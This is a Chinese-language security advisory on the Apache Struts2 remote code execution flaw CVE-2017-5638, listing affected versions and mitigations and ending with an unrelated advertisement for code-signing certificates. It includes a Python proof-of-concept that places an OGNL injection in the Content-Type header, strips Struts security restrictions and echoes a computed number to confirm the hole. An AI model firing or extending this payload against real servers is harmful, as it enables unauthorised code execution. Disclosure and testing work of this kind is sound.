漏洞简介
CVE-2017-5638是基于 Jakarta plugin插件的Struts远程代码执行漏洞。由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改HTTP请求头中的Content-Type值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令。
漏洞利用条件和方式:
攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。
影响范围:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
漏洞修复建议(或缓解措施):
Struts 2默认用Jakarta的Common-FileUpload的文件上传解析器,这是存在漏洞的,默认为以下配置:struts.multipart.parser=jakarta,指定其他类型的解析器,以使系统避免漏洞的影响,指定使用COS的文件上传解析器struts.multipart.parser=cos或指定使用Pell的文件上传解析器
阿里云建议升级Struts 到Struts 2.3.32 或 Struts 2.5.10.1 版本
阿里云云盾WAF已经支持该漏洞防御,
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
漏洞PoC
import requests
import sys
def poc(url):
payload = “%{(#test=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}”
headers = {}
headers[“Content-Type”] = payload
r = requests.get(url, headers=headers)
if “105059592” in r.content:
return True
return False
if __name__ == ‘__main__’:
if len(sys.argv) == 1:
print “python s2-045.py target”
sys.exit()
if poc(sys.argv[1]):
print”vulnerable”
else:
print “not vulnerable”
代码签名证书是保护开发者的劳动成果,给自己开发的软件签名的证书,保证代码在签名之后不被恶意篡改。用户可通过对代码的数字签名来标识软件来源,辨别软件开发者的真实身份。GDCA的代码签名证书支持多种代码签名,已通过WEBTRUST国际认证。